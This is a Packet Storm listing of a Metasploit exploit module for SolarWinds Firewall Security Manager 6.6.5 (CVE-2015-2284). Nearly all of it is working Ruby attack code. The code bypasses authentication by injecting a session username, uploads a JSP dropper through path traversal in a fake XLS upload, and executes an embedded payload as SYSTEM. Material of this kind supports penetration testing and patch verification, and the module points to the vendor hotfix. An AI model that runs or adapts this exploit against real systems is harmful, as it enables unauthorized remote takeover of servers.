Lucene search

K
packetstormRgodPACKETSTORM:131301
HistoryApr 06, 2015 - 12:00 a.m.

Solarwinds Firewall Security Manager 6.6.5 Client Session Handling

2015-04-0600:00:00
rgod
packetstormsecurity.com
23

0.974 High

EPSS

Percentile

99.9%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",  
'Description' => %q{  
This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager  
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface  
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set  
the 'username' attribute before authentication. The second problem is that the settings-new.jsp  
file will only check the 'username' attribute before authorizing the 'uploadFile' action,  
which can be exploited and allows the attacker to upload a fake xls host list file to the  
server, and results in arbitrary code execution under the context of SYSTEM.  
  
Depending on the installation, by default the Change Advisor web server is listening on port  
48080 for an express install. Otherwise, this service may appear on port 8080.  
  
Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may  
download it from the module's References section.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod', # Original discovery  
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_  
'sinn3r' # Metasploit  
],  
'References' =>  
[  
['CVE', '2015-2284'],  
['OSVDB', '81634'],  
['ZDI', '15-107'],  
['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']  
],  
'DefaultOptions' =>  
{  
'RPORT' => 48080 # Could be 8080 too  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Solarwinds Firewall Security Manager 6.6.5', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Mar 13 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])  
], self.class)  
end  
  
  
# Returns a checkcode that indicates whether the target is FSM or not  
def check  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))  
  
if res && res.body =~ /SolarWinds FSM Change Advisor/i  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
  
# Exploit/run command  
def exploit  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')  
end  
  
# Stage 1 of the attack  
# 'admin' is there by default and you can't delete it  
username = 'admin'  
print_status("Auth bypass: Putting session value: username=#{username}")  
sid = put_session_value(username)  
print_status("Your SID is: #{sid}")  
  
# Stage 2 of the attack  
exe = generate_payload_exe(code: payload.encoded)  
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"  
# Because when we get a shell, we will be at:  
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice  
# So we have to adjust this filename in order to delete the file  
register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")  
malicious_file = get_jsp_payload(exe, filename)  
print_status("Uploading file: #{filename} (#{exe.length} bytes)")  
upload_exec(sid, filename, malicious_file)  
end  
  
  
private  
  
  
# Returns a write-stager  
# I grabbed this from Juan's sonicwall_gms_uploaded.rb module  
def jsp_drop_bin(bin_data, output_file)  
jspraw = %Q|<%@ page import="java.io.*" %>\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|  
  
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|  
  
jspraw << %Q|int numbytes = data.length();\n|  
  
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|  
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|  
jspraw << %Q|{\n|  
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|  
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|  
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|  
jspraw << %Q| comb <<= 4;\n|  
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|  
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|  
jspraw << %Q|}\n|  
  
jspraw << %Q|outputstream.write(bytes);\n|  
jspraw << %Q|outputstream.close();\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
# Returns JSP that executes stuff  
# This is also from Juan's sonicwall_gms_uploaded.rb module  
def jsp_execute_command(command)  
jspraw = %Q|<%@ page import="java.io.*" %>\n|  
jspraw << %Q|<%\n|  
jspraw << %Q|try {\n|  
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|  
jspraw << %Q|} catch (IOException ioe) { }\n|  
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|  
jspraw << %Q|%>\n|  
  
jspraw  
end  
  
  
# Returns a JSP payload  
def get_jsp_payload(exe, output_file)  
jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)  
end  
  
  
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue  
def put_session_value(value)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),  
'method' => 'GET',  
'vars_get' => { 'username' => value }  
)  
  
unless res  
fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')  
end  
  
get_sid(res)  
end  
  
  
# Returns the session ID  
def get_sid(res)  
cookies = res.get_cookies  
sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''  
sid  
end  
  
  
# Uploads a malicious file and then execute it  
def upload_exec(sid, filename, malicious_file)  
res = upload_file(sid, filename, malicious_file)  
  
if !res  
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')  
elsif res.body.include?('java.lang.NoClassDefFoundError')  
print_status('Payload being treated as XLS, indicates a successful upload.')  
else  
print_status('Unsure of a successful upload.')  
end  
  
print_status('Attempting to execute the payload.')  
exec_file(sid, filename)  
end  
  
  
# Uploads a malicious file  
# By default, the file will be saved at the following location:  
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\  
def upload_file(sid, filename, malicious_file)  
# Put our payload in:  
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\  
filename = "../../jsp/#{filename}"  
  
mime_data = Rex::MIME::Message.new  
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")  
mime_data.add_part('uploadFile', nil, nil, 'name="action"')  
  
proto = ssl ? 'https' : 'http'  
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"  
  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),  
'method' => 'POST',  
'vars_get' => { 'action' => 'uploadFile' },  
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",  
'data' => mime_data.to_s,  
'cookie' => sid,  
'headers' => { 'Referer' => ref }  
)  
end  
  
  
# Executes the malicious file and get code execution  
# We will be at this location:  
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice  
def exec_file(sid, filename)  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'fsm', filename)  
)  
end  
  
  
# Overrides the original print_status so we make sure we print the rhost and port  
def print_status(msg)  
super("#{rhost}:#{rport} - #{msg}")  
end  
  
end  
  
`

0.974 High

EPSS

Percentile

99.9%